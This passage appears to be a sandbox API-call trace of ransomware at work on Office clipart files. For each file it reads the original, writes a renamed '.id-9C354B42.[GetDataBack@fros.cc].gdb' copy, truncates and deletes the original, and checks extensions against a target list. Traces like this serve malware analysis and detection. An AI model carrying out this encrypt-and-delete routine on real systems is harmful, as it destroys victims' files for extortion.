[0135.148] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0135.148] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0135.148] SetEndOfFile (hFile=0x1c0) returned 1 [0135.149] CloseHandle (hObject=0x1c0) returned 1 [0135.149] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.149] SetEndOfFile (hFile=0x1ac) returned 1 [0135.150] CloseHandle (hObject=0x1ac) returned 1 [0135.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0135.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0135.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0135.150] lstrlenW (lpString=".doc") returned 4 [0135.150] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.150] lstrlenW (lpString=".docx") returned 5 [0135.150] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.150] lstrlenW (lpString=".pdf") returned 4 [0135.151] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.151] lstrlenW (lpString=".xls") returned 4 [0135.151] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.151] lstrlenW (lpString=".xlsx") returned 5 [0135.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.151] lstrlenW (lpString=".ppt") returned 4 [0135.151] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0135.151] lstrlenW (lpString=".zip") returned 4 [0135.151] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.151] lstrlenW (lpString=".rar") returned 4 [0135.151] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.151] lstrlenW (lpString=".bz2") returned 4 [0135.151] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.151] lstrlenW (lpString=".7z") returned 3 [0135.151] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0135.151] lstrlenW (lpString=".dbf") returned 4 [0135.151] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0135.151] lstrlenW (lpString=".1cd") returned 4 [0135.151] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0135.151] lstrlenW (lpString=".jpg") returned 4 [0135.151] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.151] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.151] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0135.152] GetLastError () returned 0x0 [0135.152] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x33c6, lpOverlapped=0x0) returned 1 [0135.237] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x33d0, lpOverlapped=0x0) returned 1 [0135.238] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0135.238] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0135.238] SetEndOfFile (hFile=0x1c0) returned 1 [0135.257] CloseHandle (hObject=0x1c0) returned 1 [0135.257] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.257] SetEndOfFile (hFile=0x1ac) returned 1 [0135.258] CloseHandle (hObject=0x1ac) returned 1 [0135.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0135.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0135.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0135.260] lstrlenW (lpString=".doc") returned 4 [0135.260] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.260] lstrlenW (lpString=".docx") returned 5 [0135.260] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.260] lstrlenW (lpString=".pdf") returned 4 [0135.260] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.260] lstrlenW (lpString=".xls") returned 4 [0135.260] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.260] lstrlenW (lpString=".xlsx") returned 5 [0135.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.260] lstrlenW (lpString=".ppt") returned 4 [0135.260] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0135.260] lstrlenW (lpString=".zip") returned 4 [0135.260] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.260] lstrlenW (lpString=".rar") returned 4 [0135.260] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.260] lstrlenW (lpString=".bz2") returned 4 [0135.260] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.260] lstrlenW (lpString=".7z") returned 3 [0135.260] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0135.260] lstrlenW (lpString=".dbf") returned 4 [0135.260] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0135.260] lstrlenW (lpString=".1cd") returned 4 [0135.260] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0135.260] lstrlenW (lpString=".jpg") returned 4 [0135.260] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.261] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.261] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0135.261] GetLastError () returned 0x0 [0135.261] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x131e, lpOverlapped=0x0) returned 1 [0135.391] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x1320, lpOverlapped=0x0) returned 1 [0135.392] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0135.392] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0135.392] SetEndOfFile (hFile=0x1c0) returned 1 [0135.392] CloseHandle (hObject=0x1c0) returned 1 [0135.392] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.392] SetEndOfFile (hFile=0x1ac) returned 1 [0135.393] CloseHandle (hObject=0x1ac) returned 1 [0135.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0135.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0135.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0135.394] lstrlenW (lpString=".doc") returned 4 [0135.394] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.394] lstrlenW (lpString=".docx") returned 5 [0135.394] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.395] lstrlenW (lpString=".pdf") returned 4 [0135.395] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.395] lstrlenW (lpString=".xls") returned 4 [0135.395] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.395] lstrlenW (lpString=".xlsx") returned 5 [0135.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.395] lstrlenW (lpString=".ppt") returned 4 [0135.395] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0135.395] lstrlenW (lpString=".zip") returned 4 [0135.395] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.395] lstrlenW (lpString=".rar") returned 4 [0135.395] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.395] lstrlenW (lpString=".bz2") returned 4 [0135.395] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.395] lstrlenW (lpString=".7z") returned 3 [0135.395] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0135.395] lstrlenW (lpString=".dbf") returned 4 [0135.395] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0135.395] lstrlenW (lpString=".1cd") returned 4 [0135.395] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0135.395] lstrlenW (lpString=".jpg") returned 4 [0135.395] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.396] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=5016) returned 1 [0135.396] CloseHandle (hObject=0x1ac) returned 1 [0135.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0135.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0135.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0135.396] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.397] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0135.397] GetLastError () returned 0x0 [0135.397] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x1398, lpOverlapped=0x0) returned 1 [0135.438] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x13a0, lpOverlapped=0x0) returned 1 [0135.439] ReadFile (in: hFile=0x1ac, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0135.439] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0135.439] SetEndOfFile (hFile=0x1c0) returned 1 [0135.439] CloseHandle (hObject=0x1c0) returned 1 [0135.440] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.440] SetEndOfFile (hFile=0x1ac) returned 1 [0135.441] CloseHandle (hObject=0x1ac) returned 1 [0135.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0135.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0135.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0135.441] lstrlenW (lpString=".doc") returned 4 [0135.441] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.442] lstrlenW (lpString=".docx") returned 5 [0135.442] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.442] lstrlenW (lpString=".pdf") returned 4 [0135.442] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.442] lstrlenW (lpString=".xls") returned 4 [0135.442] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.442] lstrlenW (lpString=".xlsx") returned 5 [0135.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.442] lstrlenW (lpString=".ppt") returned 4 [0135.442] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0135.442] lstrlenW (lpString=".zip") returned 4 [0135.442] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.442] lstrlenW (lpString=".rar") returned 4 [0135.442] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.442] lstrlenW (lpString=".bz2") returned 4 [0135.442] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.442] lstrlenW (lpString=".7z") returned 3 [0135.442] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0135.442] lstrlenW (lpString=".dbf") returned 4 [0135.442] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0135.443] lstrlenW (lpString=".1cd") returned 4 [0135.443] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0135.443] lstrlenW (lpString=".jpg") returned 4 [0135.443] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.447] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.447] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0135.447] GetLastError () returned 0x0 [0135.448] ReadFile (in: hFile=0x228, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x1126, lpOverlapped=0x0) returned 1 [0135.469] WriteFile (in: hFile=0x1ac, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x1130, lpOverlapped=0x0) returned 1 [0135.470] ReadFile (in: hFile=0x228, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0135.470] WriteFile (in: hFile=0x1ac, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0135.470] SetEndOfFile (hFile=0x1ac) returned 1 [0135.470] CloseHandle (hObject=0x1ac) returned 1 [0135.471] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.471] SetEndOfFile (hFile=0x228) returned 1 [0135.471] CloseHandle (hObject=0x228) returned 1 [0135.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0135.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0135.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0135.472] lstrlenW (lpString=".doc") returned 4 [0135.472] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.472] lstrlenW (lpString=".docx") returned 5 [0135.472] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.473] lstrlenW (lpString=".pdf") returned 4 [0135.473] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.473] lstrlenW (lpString=".xls") returned 4 [0135.473] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.473] lstrlenW (lpString=".xlsx") returned 5 [0135.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.473] lstrlenW (lpString=".ppt") returned 4 [0135.473] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0135.473] lstrlenW (lpString=".zip") returned 4 [0135.473] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.473] lstrlenW (lpString=".rar") returned 4 [0135.473] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.473] lstrlenW (lpString=".bz2") returned 4 [0135.473] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.473] lstrlenW (lpString=".7z") returned 3 [0135.473] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0135.473] lstrlenW (lpString=".dbf") returned 4 [0135.473] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0135.473] lstrlenW (lpString=".1cd") returned 4 [0135.473] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0135.473] lstrlenW (lpString=".jpg") returned 4 [0135.473] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.474] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.474] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0135.474] GetLastError () returned 0x0 [0135.474] ReadFile (in: hFile=0x228, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0xd32, lpOverlapped=0x0) returned 1 [0135.515] WriteFile (in: hFile=0x1ac, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xd40, lpOverlapped=0x0) returned 1 [0135.516] ReadFile (in: hFile=0x228, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0135.516] WriteFile (in: hFile=0x1ac, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0135.516] SetEndOfFile (hFile=0x1ac) returned 1 [0135.517] CloseHandle (hObject=0x1ac) returned 1 [0135.517] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0135.517] SetEndOfFile (hFile=0x228) returned 1 [0135.518] CloseHandle (hObject=0x228) returned 1 [0135.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0135.519] lstrlenW 